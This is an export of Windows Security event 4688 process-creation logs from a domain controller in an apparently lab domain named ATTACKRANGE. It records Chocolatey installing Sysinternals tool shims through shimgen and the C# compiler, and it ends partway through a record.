Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x60c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246576 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x60c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\LoadOrdC.exe" --output="C:\ProgramData\chocolatey\bin\LoadOrdC.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\LoadOrdC.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246575 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb38 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD879.tmp" "c:\ProgramData\chocolatey\bin\CSCFC0761AB970D46C6A875512843926D0.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246574 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x310 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb38 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246573 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3c4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\LoadOrd64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_0678\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_0678\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_0678\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_0678\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_0678\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246614 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe04 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4b0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246613 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb24 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\notmyfault64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_8802\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_8802\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_8802\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_8802\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_8802\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246612 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8d0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb24 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246611 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\notmyfault64.exe" --output="C:\ProgramData\chocolatey\bin\notmyfault64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\notmyfault64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246610 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x528 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa68 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDE93.tmp" "c:\ProgramData\chocolatey\bin\CSCE0CD9468F36146938939BE6D269916CA.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246609 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb28 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa68 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246608 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa68 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb18 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\notmyfault.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_6146\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_6146\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_6146\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_6146\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_6146\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246607 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf50 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb18 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246606 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb18 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\notmyfault.exe" --output="C:\ProgramData\chocolatey\bin\notmyfault.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\notmyfault.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246605 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc28 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDD99.tmp" "c:\ProgramData\chocolatey\bin\CSC4A7554FCDDC046C883153087166A1C9F.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246604 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x30c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246603 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x838 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\movefile64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_3959\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_3959\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_3959\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_3959\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_3959\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246602 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x864 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x838 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User 